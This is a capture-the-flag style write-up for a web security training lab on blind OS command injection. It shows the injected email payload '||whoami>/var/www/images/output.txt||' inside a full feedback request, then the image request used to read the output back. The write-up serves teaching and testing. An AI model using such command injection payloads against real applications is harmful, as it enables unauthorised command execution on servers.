Blind OS command injection with output redirection

Description

This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:

/var/www/images/

The application serves the images for the product catalog from this location. It is possible to redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.

Reproduction and proof of concept

  1. Use Burp Suite to intercept and modify the request that submits feedback.

  2. Modify the email parameter, changing it to: email=||whoami>/var/www/images/output.txt||

POST /feedback/submit HTTP/1.1
Host: 0ad40078044cb583c02f95a200910010.web-security-academy.net
Cookie: session=dUa7zaWcifFtBvIhkwFb4n5GnkIqqMXn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: https://0ad40078044cb583c02f95a200910010.web-security-academy.net
Referer: https://0ad40078044cb583c02f95a200910010.web-security-academy.net/feedback
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

csrf=O2zf4h88FisbEIpRcnTwCACCCH73Tsdp&name=test&email=||whoami>/var/www/images/output.txt||&subject=output+redirection&message=is+possible

  1. Now use Burp Suite to intercept and modify the request that loads an image of a product.

  2. Modify the filename parameter, changing the value to the name of the file specified for the output of the injected command: filename=output.txt

GET /image?filename=output.txt HTTP/1.1
Host: 0ad40078044cb583c02f95a200910010.web-security-academy.net
Cookie: session=dUa7zaWcifFtBvIhkwFb4n5GnkIqqMXn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0ad40078044cb583c02f95a200910010.web-security-academy.net/product?productId=1
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

  1. Observe that the response contains the output from the injected command.

Exploitability

An attacker will need to execute the whoami command and retrieve the output.